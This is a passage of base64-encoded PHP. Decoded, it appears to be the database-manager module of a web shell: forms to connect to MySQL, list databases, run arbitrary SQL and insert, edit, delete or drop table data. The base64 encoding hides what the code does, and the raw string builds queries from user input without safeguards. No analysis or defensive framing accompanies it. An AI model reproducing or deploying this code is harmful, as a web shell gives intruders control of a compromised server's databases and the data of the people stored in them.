aGFyc2V0Jywnb3B0aW9uJz0+JGNoYXJzZXRzLCdzZWxlY3RlZCc9PiRjaGFyc2V0KSk7IA0KICAgIG1ha2VpbnB1dChhcnJheSgnbmFtZSc9Pidjb25uZWN0JywndmFsdWUnPT4nQ29ubmVjdCcsJ3R5cGUnPT4nc3VibWl0JywnY2xhc3MnPT4nYnQnKSk7IA0KICAgIHAoJzwvcD4nKTsgDQogICAgZm9ybWZvb3QoKTsgDQo/PiANCjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4gDQpmdW5jdGlvbiBlZGl0cmVjb3JkKGFjdGlvbiwgYmFzZTY0LCB0YWJsZW5hbWUpeyANCiAgICBpZiAoYWN0aW9uID09ICdkZWwnKSB7ICAgICAgICAgDQogICAgICAgIGlmICghY29uZmlybSgnSXMgb3IgaXNuXCd0IGRlbGV0aW9uIHJlY29yZD8nKSkgcmV0dXJuOyANCiAgICB9IA0KICAgICQoJ3JlY29yZGxpc3QnKS5kb2luZy52YWx1ZT1hY3Rpb247IA0KICAgICQoJ3JlY29yZGxpc3QnKS5iYXNlNjQudmFsdWU9YmFzZTY0OyANCiAgICAkKCdyZWNvcmRsaXN0JykudGFibGVuYW1lLnZhbHVlPXRhYmxlbmFtZTsgDQogICAgJCgncmVjb3JkbGlzdCcpLnN1Ym1pdCgpOyANCn0gDQpmdW5jdGlvbiBtb2RkYm5hbWUoZGJuYW1lKSB7IA0KICAgIGlmKCFkYm5hbWUpIHJldHVybjsgDQogICAgJCgnc2V0ZGJuYW1lJykuZGJuYW1lLnZhbHVlPWRibmFtZTsgDQogICAgJCgnc2V0ZGJuYW1lJykuc3VibWl0KCk7IA0KfSANCmZ1bmN0aW9uIHNldHRhYmxlKHRhYmxlbmFtZSxkb2luZyxwYWdlKSB7IA0KICAgIGlmKCF0YWJsZW5hbWUpIHJldHVybjsgDQogICAgaWYgKGRvaW5nKSB7IA0KICAgICAgICAkKCdzZXR0YWJsZScpLmRvaW5nLnZhbHVlPWRvaW5nOyANCiAgICB9IA0KICAgIGlmIChwYWdlKSB7IA0KICAgICAgICAkKCdzZXR0YWJsZScpLnBhZ2UudmFsdWU9cGFnZTsgDQogICAgfSANCiAgICAkKCdzZXR0YWJsZScpLnRhYmxlbmFtZS52YWx1ZT10YWJsZW5hbWU7IA0KICAgICQoJ3NldHRhYmxlJykuc3VibWl0KCk7IA0KfSANCjwvc2NyaXB0PiANCjw/cGhwIA0KICAgIC8vICAgICAgwrwgDQogICAgZm9ybWhlYWQoYXJyYXkoJ25hbWUnPT4ncmVjb3JkbGlzdCcpKTsgDQogICAgbWFrZWhpZGUoJ2RvaW5nJyk7IA0KICAgIG1ha2VoaWRlKCdhY3Rpb24nLCdzcWxhZG1pbicpOyANCiAgICBtYWtlaGlkZSgnYmFzZTY0Jyk7IA0KICAgIG1ha2VoaWRlKCd0YWJsZW5hbWUnKTsgDQogICAgcCgkZGJmb3JtKTsgDQogICAgZm9ybWZvb3QoKTsgDQoNCiAgICAvLz8gICAgID8gIA0KICAgIGZvcm1oZWFkKGFycmF5KCduYW1lJz0+J3NldGRibmFtZScpKTsgDQogICAgbWFrZWhpZGUoJ2FjdGlvbicsJ3NxbGFkbWluJyk7IA0KICAgIHAoJGRiZm9ybSk7IA0KICAgIGlmICghJGRibmFtZSkgeyANCiAgICAgICAgbWFrZWhpZGUoJ2RibmFtZScpOyANCiAgICB9IA0KICAgIGZvcm1mb290KCk7IA0KDQogICAgLy8/ICAgICANCiAgICBmb3JtaGVhZChhcnJheSgnbmFtZSc9PidzZXR0YWJsZScpKTsgDQogICAgbWFrZWhpZGUoJ2FjdGlvbicsJ3NxbGFkbWluJyk7IA0KICAgIHAoJGRiZm9ybSk7IA0KICAgIG1ha2VoaWRlKCd0YWJsZW5hbWUnKTsgDQogICAgbWFrZWhpZGUoJ3BhZ2UnLCRwYWdlKTsgDQogICAgbWFrZWhpZGUoJ2RvaW5nJyk7IA0KICAgIGZvcm1mb290KCk7IA0KDQogICAgJGNhY2hldGFibGVzID0gYXJyYXkoKTsgICAgIA0KICAgICRwYWdlbnVtID0gMzA7IA0KICAgICRwYWdlID0gaW50dmFsKCRwYWdlKTsgDQogICAgaWYoJHBhZ2UpIHsgDQogICAgICAgICRzdGFydF9saW1pdCA9ICgkcGFnZSAtIDEpICogJHBhZ2VudW07IA0KICAgIH0gZWxzZSB7IA0KICAgICAgICAkc3RhcnRfbGltaXQgPSAwOyANCiAgICAgICAgJHBhZ2UgPSAxOyANCiAgICB9IA0KICAgIGlmIChpc3NldCgkZGJob3N0KSAmJiBpc3NldCgkZGJ1c2VyKSAmJiBpc3NldCgkZGJwYXNzKSAmJiBpc3NldCgkY29ubmVjdCkpIHsgDQogICAgICAgIGRiY29ubigkZGJob3N0LCAkZGJ1c2VyLCAkZGJwYXNzLCAkZGJuYW1lLCAkY2hhcnNldCwgJGRicG9ydCk7IA0KICAgICAgICAvLyAgPyAgID8gICA/IA0KICAgICAgICAkbXlzcWx2ZXIgPSBteXNxbF9nZXRfc2VydmVyX2luZm8oKTsgDQogICAgICAgIHAoJzxwPk15U1FMICcuJG15c3FsdmVyLicgcnVubmluZyBpbiAnLiRkYmhvc3QuJyBhcyAnLiRkYnVzZXIuJ0AnLiRkYmhvc3QuJzwvcD4nKTsgDQogICAgICAgICRoaWdodmVyID0gJG15c3FsdmVyID4gJzQuMScgPyAxIDogMDsgDQoNCiAgICAgICAgLy8gID8gICA/ICANCiAgICAgICAgJHF1ZXJ5ID0gcSgiU0hPVyBEQVRBQkFTRVMiKTsgDQogICAgICAgICRkYnMgPSBhcnJheSgpOyANCiAgICAgICAgJGRic1tdID0gJy0tIFNlbGVjdCBhIGRhdGFiYXNlIC0tJzsgDQogICAgICAgIHdoaWxlKCRkYiA9IG15c3FsX2ZldGNoX2FycmF5KCRxdWVyeSkpIHsgDQogICAgICAgICAgICAkZGJzWyRkYlsnRGF0YWJhc2UnXV0gPSAkZGJbJ0RhdGFiYXNlJ107IA0KICAgICAgICB9IA0KICAgICAgICBtYWtlc2VsZWN0KGFycmF5KCd0aXRsZSc9PidQbGVhc2Ugc2VsZWN0IGEgZGF0YWJhc2U6JywnbmFtZSc9PidkYltdJywnb3B0aW9uJz0+JGRicywnc2VsZWN0ZWQnPT4kZGJuYW1lLCdvbmNoYW5nZSc9Pidtb2RkYm5hbWUodGhpcy5vcHRpb25zW3RoaXMuc2VsZWN0ZWRJbmRleF0udmFsdWUpJywnbmV3bGluZSc9PjEpKTsgDQogICAgICAgICR0YWJsZWRiID0gYXJyYXkoKTsgDQogICAgICAgIGlmICgkZGJuYW1lKSB7IA0KICAgICAgICAgICAgcCgnPHA+Jyk7IA0KICAgICAgICAgICAgcCgnQ3VycmVudCBkYWJhYmFzZTogPGEgaHJlZj0iamF2YXNjcmlwdDptb2RkYm5hbWUoXCcnLiRkYm5hbWUuJ1wnKTsiPicuJGRibmFtZS4nPC9hPicpOyANCiAgICAgICAgICAgIGlmICgkdGFibGVuYW1lKSB7IA0KICAgICAgICAgICAgICAgIHAoJyB8IEN1cnJlbnQgVGFibGU6IDxhIGhyZWY9ImphdmFzY3JpcHQ6c2V0dGFibGUoXCcnLiR0YWJsZW5hbWUuJ1wnKTsiPicuJHRhYmxlbmFtZS4nPC9hPiBbIDxhIGhyZWY9ImphdmFzY3JpcHQ6c2V0dGFibGUoXCcnLiR0YWJsZW5hbWUuJ1wnLCBcJ2luc2VydFwnKTsiPkluc2VydDwvYT4gfCA8YSBocmVmPSJqYXZhc2NyaXB0OnNldHRhYmxlKFwnJy4kdGFibGVuYW1lLidcJywgXCdzdHJ1Y3R1cmVcJyk7Ij5TdHJ1Y3R1cmU8L2E+IHwgPGEgaHJlZj0iamF2YXNjcmlwdDpzZXR0YWJsZShcJycuJHRhYmxlbmFtZS4nXCcsIFwnZHJvcFwnKTsiPkRyb3A8L2E+IF0nKTsgDQogICAgICAgICAgICB9IA0KICAgICAgICAgICAgcCgnPC9wPicpOyANCiAgICAgICAgICAgIG15c3FsX3NlbGVjdF9kYigkZGJuYW1lKTsgDQoNCiAgICAgICAgICAgICRnZXRudW1zcWwgPSAnJzsgDQogICAgICAgICAgICAkcnVucXVlcnkgPSAwOyANCiAgICAgICAgICAgIGlmICgkc3FsX3F1ZXJ5KSB7IA0KICAgICAgICAgICAgICAgICRydW5xdWVyeSA9IDE7IA0KICAgICAgICAgICAgfSANCiAgICAgICAgICAgICRhbGxvd2VkaXQgPSAwOyANCiAgICAgICAgICAgIGlmICgkdGFibGVuYW1lICYmICEkc3FsX3F1ZXJ5KSB7IA0KICAgICAgICAgICAgICAgICRzcWxfcXVlcnkgPSAiU0VMRUNUICogRlJPTSAkdGFibGVuYW1lIjsgDQogICAgICAgICAgICAgICAgJGdldG51bXNxbCA9ICRzcWxfcXVlcnk7IA0KICAgICAgICAgICAgICAgICRzcWxfcXVlcnkgPSAkc3FsX3F1ZXJ5LiIgTElNSVQgJHN0YXJ0X2xpbWl0LCAkcGFnZW51bSI7IA0KICAgICAgICAgICAgICAgICRhbGxvd2VkaXQgPSAxOyANCiAgICAgICAgICAgIH0gDQogICAgICAgICAgICBwKCc8Zm9ybSBhY3Rpb249IicuJHNlbGYuJyIgbWV0aG9kPSJQT1NUIj4nKTsgDQogICAgICAgICAgICBwKCc8cD48dGFibGUgd2lkdGg9IjIwMCIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAiPjx0cj48dGQgY29sc3Bhbj0iMiI+UnVuIFNRTCBxdWVyeS9xdWVyaWVzIG9uIGRhdGFiYXNlICcuJGRibmFtZS4nOjwvdGQ+PC90cj48dHI+PHRkPjx0ZXh0YXJlYSBuYW1lPSJzcWxfcXVlcnkiIGNsYXNzPSJhcmVhIiBzdHlsZT0id2lkdGg6NjAwcHg7aGVpZ2h0OjUwcHg7b3ZlcmZsb3c6YXV0bzsiPicuaHRtbHNwZWNpYWxjaGFycygkc3FsX3F1ZXJ5LEVOVF9RVU9URVMpLic8L3RleHRhcmVhPjwvdGQ+PHRkIHN0eWxlPSJwYWRkaW5nOjAgNXB4OyI+PGlucHV0IGNsYXNzPSJidCIgc3R5bGU9ImhlaWdodDo1MHB4OyIgbmFtZT0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJRdWVyeSIgLz48L3RkPjwvdHI+PC90YWJsZT48L3A+Jyk7IA0KICAgICAgICAgICAgbWFrZWhpZGUoJ3RhYmxlbmFtZScsICR0YWJsZW5hbWUpOyANCiAgICAgICAgICAgIG1ha2VoaWRlKCdhY3Rpb24nLCdzcWxhZG1pbicpOyANCiAgICAgICAgICAgIHAoJGRiZm9ybSk7IA0KICAgICAgICAgICAgcCgnPC9mb3JtPicpOyANCiAgICAgICAgICAgIGlmICgkdGFibGVuYW1lIHx8ICgkcnVucXVlcnkgJiYgJHNxbF9xdWVyeSkpIHsgDQogICAgICAgICAgICAgICAgaWYgKCRkb2luZyA9PSAnc3RydWN0dXJlJykgeyANCiAgICAgICAgICAgICAgICAgICAgJHJlc3VsdCA9IHEoIlNIT1cgQ09MVU1OUyBGUk9NICR0YWJsZW5hbWUiKTsgDQogICAgICAgICAgICAgICAgICAgICRyb3dkYiA9IGFycmF5KCk7IA0KICAgICAgICAgICAgICAgICAgICB3aGlsZSgkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCkpIHsgDQogICAgICAgICAgICAgICAgICAgICAgICAkcm93ZGJbXSA9ICRyb3c7IA0KICAgICAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgICAgICBwKCc8dGFibGUgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMyIgY2VsbHNwYWNpbmc9IjAiPicpOyANCiAgICAgICAgICAgICAgICAgICAgcCgnPHRyIGNsYXNzPSJoZWFkIj4nKTsgDQogICAgICAgICAgICAgICAgICAgIHAoJzx0ZD5GaWVsZDwvdGQ+Jyk7IA0KICAgICAgICAgICAgICAgICAgICBwKCc8dGQ+VHlwZTwvdGQ+Jyk7IA0KICAgICAgICAgICAgICAgICAgICBwKCc8dGQ+TnVsbDwvdGQ+Jyk7IA0KICAgICAgICAgICAgICAgICAgICBwKCc8dGQ+S2V5PC90ZD4nKTsgDQogICAgICAgICAgICAgICAgICAgIHAoJzx0ZD5EZWZhdWx0PC90ZD4nKTsgDQogICAgICAgICAgICAgICAgICAgIHAoJzx0ZD5FeHRyYTwvdGQ+Jyk7IA0KICAgICAgICAgICAgICAgICAgICBwKCc8L3RyPicpOyANCiAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCAoJHJvd2RiIGFzICRyb3cpIHsgDQogICAgICAgICAgICAgICAgICAgICAgICAkdGhpc2JnID0gYmcoKTsgDQogICAgICAgICAgICAgICAgICAgICAgICBwKCc8dHIgY2xhc3M9IicuJHRoaXNiZy4nIiBvbm1vdXNlb3Zlcj0idGhpcy5jbGFzc05hbWU9XCdmb2N1c1wnOyIgb25tb3VzZW91dD0idGhpcy5jbGFzc05hbWU9XCcnLiR0aGlzYmcuJ1wnOyI+Jyk7IA0KICAgICAgICAgICAgICAgICAgICAgICAgcCgnPHRkPicuJHJvd1snRmllbGQnXS4nPC90ZD4nKTsgDQogICAgICAgICAgICAgICAgICAgICAgICBwKCc8dGQ+Jy4kcm93WydUeXBlJ10uJzwvdGQ+Jyk7IA0KICAgICAgICAgICAgICAgICAgICAgICAgcCgnPHRkPicuJHJvd1snTnVsbCddLicmbmJzcDs8L3RkPicpOyANCiAgICAgICAgICAgICAgICAgICAgICAgIHAoJzx0ZD4nLiRyb3dbJ0tleSddLicmbmJzcDs8L3RkPicpOyANCiAgICAgICAgICAgICAgICAgICAgICAgIHAoJzx0ZD4nLiRyb3dbJ0RlZmF1bHQnXS4nJm5ic3A7PC90ZD4nKTsgDQogICAgICAgICAgICAgICAgICAgICAgICBwKCc8dGQ+Jy4kcm93WydFeHRyYSddLicmbmJzcDs8L3RkPicpOyANCiAgICAgICAgICAgICAgICAgICAgICAgIHAoJzwvdHI+Jyk7IA0KICAgICAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgICAgICB0YmZvb3QoKTsgDQogICAgICAgICAgICAgICAgfSBlbHNlaWYgKCRkb2luZyA9PSAnaW5zZXJ0JyB8fCAkZG9pbmcgPT0gJ2VkaXQnKSB7IA0KICAgICAgICAgICAgICAgICAgICAkcmVzdWx0ID0gcSgnU0hPVyBDT0xVTU5TIEZST00gJy4kdGFibGVuYW1lKTsgDQogICAgICAgICAgICAgICAgICAgIHdoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCkpIHsgDQogICAgICAgICAgICAgICAgICAgICAgICAkcm93ZGJbXSA9ICRyb3c7IA0KICAgICAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgICAgICAkcnMgPSBhcnJheSgpOyANCiAgICAgICAgICAgICAgICAgICAgaWYgKCRkb2luZyA9PSAnaW5zZXJ0JykgeyANCiAgICAgICAgICAgICAgICAgICAgICAgIHAoJzxoMj5JbnNlcnQgbmV3IGxpbmUgaW4gJy4kdGFibGVuYW1lLicgdGFibGUgJnJhcXVvOzwvaDI+Jyk7IA0KICAgICAgICAgICAgICAgICAgICB9IGVsc2UgeyANCiAgICAgICAgICAgICAgICAgICAgICAgIHAoJzxoMj5VcGRhdGUgcmVjb3JkIGluICcuJHRhYmxlbmFtZS4nIHRhYmxlICZyYXF1bzs8L2gyPicpOyANCiAgICAgICAgICAgICAgICAgICAgICAgICR3aGVyZSA9IGJhc2U2NF9kZWNvZGUoJGJhc2U2NCk7IA0KICAgICAgICAgICAgICAgICAgICAgICAgJHJlc3VsdCA9IHEoIlNFTEVDVCAqIEZST00gJHRhYmxlbmFtZSBXSEVSRSAkd2hlcmUgTElNSVQgMSIpOyANCiAgICAgICAgICAgICAgICAgICAgICAgICRycyA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQpOyANCiAgICAgICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICAgICAgcCgnPGZvcm0gbWV0aG9kPSJwb3N0IiBhY3Rpb249IicuJHNlbGYuJyI+Jyk7IA0KICAgICAgICAgICAgICAgICAgICBwKCRkYmZvcm0pOyANCiAgICAgICAgICAgICAgICAgICAgbWFrZWhpZGUoJ2FjdGlvbicsJ3NxbGFkbWluJyk7IA0KICAgICAgICAgICAgICAgICAgICBtYWtlaGlkZSgndGFibGVuYW1lJywkdGFibGVuYW1lKTsgDQogICAgICAgICAgICAgICAgICAgIHAoJzx0YWJsZSBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIzIiBjZWxsc3BhY2luZz0iMCI+Jyk7IA0KICAgICAgICAgICAgICAgICAgICBmb3JlYWNoICgkcm93ZGIgYXMgJHJvdykgeyANCiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkcnNbJHJvd1snRmllbGQnXV0pIHsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHZhbHVlID0gaHRtbHNwZWNpYWxjaGFycygkcnNbJHJvd1snRmllbGQnXV0pOyANCiAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICR2YWx1ZSA9ICcnOyANCiAgICAgICAgICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgICAgICAgICAkdGhpc2JnID0gYmcoKTsgDQogICAgICAgICAgICAgICAgICAgICAgICBwKCc8dHIgY2xhc3M9IicuJHRoaXNiZy4nIiBvbm1vdXNlb3Zlcj0idGhpcy5jbGFzc05hbWU9XCdmb2N1c1wnOyIgb25tb3VzZW91dD0idGhpcy5jbGFzc05hbWU9XCcnLiR0aGlzYmcuJ1wnOyI+Jyk7IA0KICAgICAgICAgICAgICAgICAgICAgICAgcCgnPHRkPjxiPicuJHJvd1snRmllbGQnXS4nPC9iPjxiciAvPicuJHJvd1snVHlwZSddLic8L3RkPjx0ZD48dGV4dGFyZWEgY2xhc3M9ImFyZWEiIG5hbWU9Imluc2VydHNxbFsnLiRyb3dbJ0ZpZWxkJ10uJ10iIHN0eWxlPSJ3aWR0aDo1MDBweDtoZWlnaHQ6NjBweDtvdmVyZmxvdzphdXRvOyI+Jy4kdmFsdWUuJzwvdGV4dGFyZWE+PC90ZD48L3RyPicpOyANCiAgICAgICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICAgICAgaWYgKCRkb2luZyA9PSAnaW5zZXJ0JykgeyANCiAgICAgICAgICAgICAgICAgICAgICAgIHAoJzx0ciBjbGFzcz0iJy5iZygpLiciPjx0ZCBjb2xzcGFuPSIyIj48aW5wdXQgY2xhc3M9ImJ0IiB0eXBlPSJzdWJtaXQiIG5hbWU9Imluc2VydCIgdmFsdWU9Ikluc2VydCIgLz48L3RkPjwvdHI+Jyk7IA0KICAgICAgICAgICAgICAgICAgICB9IGVsc2UgeyANCiAgICAgICAgICAgICAgICAgICAgICAgIHAoJzx0ciBjbGFzcz0iJy5iZygpLiciPjx0ZCBjb2xzcGFuPSIyIj48aW5wdXQgY2xhc3M9ImJ0IiB0eXBlPSJzdWJtaXQiIG5hbWU9InVwZGF0ZSIgdmFsdWU9IlVwZGF0ZSIgLz48L3RkPjwvdHI+Jyk7IA0KICAgICAgICAgICAgICAgICAgICAgICAgbWFrZWhpZGUoJ2Jhc2U2NCcsICRiYXNlNjQpOyANCiAgICAgICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICAgICAgcCgnPC90YWJsZT48L2Zvcm0+Jyk7IA0KICAgICAgICAgICAgICAgIH0gZWxzZSB7IA0KICAgICAgICAgICAgICAgICAgICAkcXVlcnlzID0gQGV4cGxvZGUoJzsnLCRzcWxfcXVlcnkpOyANCiAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCgkcXVlcnlzIGFzICRudW09PiRxdWVyeSkgeyANCiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkcXVlcnkpIHsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgcCgiPHA+PGI+UXVlcnkjeyRudW19IDogIi5odG1sc3BlY2lhbGNoYXJzKCRxdWVyeSxFTlRfUVVPVEVTKS4iPC9iPjwvcD4iKTsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgc3dpdGNoKHF5KCRxdWVyeSkpIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNhc2UgMDogDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwKCc8aDI+RXJyb3IgOiAnLm15c3FsX2Vycm9yKCkuJzwvaDI+Jyk7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7ICAgICANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY2FzZSAxOiANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChzdHJ0b2xvd2VyKHN1YnN0cigkcXVlcnksMCwxMykpID09ICdzZWxlY3QgKiBmcm9tJykgeyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYWxsb3dlZGl0ID0gMTsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRnZXRudW1zcWwpIHsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRhdG9sID0gbXlzcWxfbnVtX3Jvd3MocSgkZ2V0bnVtc3FsKSk7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRtdWx0aXBhZ2UgPSBtdWx0aSgkdGF0b2wsICRwYWdlbnVtLCAkcGFnZSwgJHRhYmxlbmFtZSk7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICghJHRhYmxlbmFtZSkgeyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkc3FsX2xpbmUgPSBzdHJfcmVwbGFjZShhcnJheSgiXHIiLCAiXG4iLCAiXHQiKSwgYXJyYXkoJyAnLCAnICcsICcgJyksIHRyaW0oaHRtbHNwZWNpYWxjaGFycygkcXVlcnkpKSk7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzcWxfbGluZSA9IHByZWdfcmVwbGFjZSgiL1wvXCpbXihcKlwvKV0qXCpcLy9pIiwgIiAiLCAkc3FsX2xpbmUpOyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwcmVnX21hdGNoX2FsbCgiL2Zyb21ccytgezAsMX0oW1x3XSspYHswLDF9XHMrL2kiLCRzcWxfbGluZSwkbWF0Y2hlcyk7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0YWJsZW5hbWUgPSAkbWF0Y2hlc1sxXVswXTsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHJlc3VsdCA9IHEoJHF1ZXJ5KTsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwKCRtdWx0aXBhZ2UpOyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHAoJzx0YWJsZSBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIzIiBjZWxsc3BhY2luZz0iMCI+Jyk7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcCgnPHRyIGNsYXNzPSJoZWFkIj4nKTsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoJGFsbG93ZWRpdCkgcCgnPHRkPkFjdGlvbjwvdGQ+Jyk7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGZpZWxkbnVtID0gQG15c3FsX251bV9maWVsZHMoJHJlc3VsdCk7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9yKCRpPTA7JGk8JGZpZWxkbnVtOyRpKyspeyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbmFtZSA9IEBteXNxbF9maWVsZF9uYW1lKCRyZXN1bHQsICRpKTsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHR5cGUgPSBAbXlzcWxfZmllbGRfdHlwZSgkcmVzdWx0LCAkaSk7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRsZW4gPSBAbXlzcWxfZmllbGRfbGVuKCRyZXN1bHQsICRpKTsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcCgiPHRkIG5vd3JhcD4kbmFtZTxicj48c3Bhbj4kdHlwZSgkbGVuKTwvc3Bhbj48L3RkPiIpOyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwKCc8L3RyPicpOyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHdoaWxlKCRtbiA9IEBteXNxbF9mZXRjaF9hc3NvYygkcmVzdWx0KSl7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzYmcgPSBiZygpOyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwKCc8dHIgY2xhc3M9IicuJHRoaXNiZy4nIiBvbm1vdXNlb3Zlcj0idGhpcy5jbGFzc05hbWU9XCdmb2N1c1wnOyIgb25tb3VzZW91dD0idGhpcy5jbGFzc05hbWU9XCcnLiR0aGlzYmcuJ1wnOyI+Jyk7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR3aGVyZSA9ICR0bXAgPSAkYjEgPSAnJzsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCgkbW4gYXMgJGtleT0+JGluc2lkZSl7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoJGluc2lkZSkgeyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR3aGVyZSAuPSAkdG1wLiRrZXkuIj0nIi5hZGRzbGFzaGVzKCRpbnNpZGUpLiInIjsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdG1wID0gJyBBTkQgJzsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRiMSAuPSAnPHRkIG5vd3JhcD4nLmh0bWxfY2xlYW4oJGluc2lkZSkuJyZuYnNwOzwvdGQ+JzsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkd2hlcmUgPSBiYXNlNjRfZW5jb2RlKCR3aGVyZSk7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkYWxsb3dlZGl0KSBwKCc8dGQgbm93cmFwPjxhIGhyZWY9ImphdmFzY3JpcHQ6ZWRpdHJlY29yZChcJ2VkaXRcJywgXCcnLiR3aGVyZS4nXCcsIFwnJy4kdGFibGVuYW1lLidcJyk7Ij5FZGl0PC9hPiB8IDxhIGhyZWY9ImphdmFzY3JpcHQ6ZWRpdHJlY29yZChcJ2RlbFwnLCBcJycuJHdoZXJlLidcJywgXCcnLiR0YWJsZW5hbWUuJ1wnKTsiPkRlbDwvYT48L3RkPicpOyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwKCRiMSk7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHAoJzwvdHI+Jyk7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHVuc2V0KCRiMSk7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHRiZm9vdCgpOyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHAoJG11bHRpcGFnZSk7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7ICAgICANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY2FzZSAyOiANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRhciA9IG15c3FsX2FmZmVjdGVkX3Jvd3MoKTsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwKCc8aDI+YWZmZWN0ZWQgcm93cyA6IDxiPicuJGFyLic8L2I+PC9oMj4nKTsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhazsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgIH0gZWxzZSB7IA0KICAgICAgICAgICAgICAgICRxdWVyeSA9IHEoIlNIT1cgVEFCTEUgU1RBVFVTIik7IA0KICAgICAgICAgICAgICAgICR0YWJs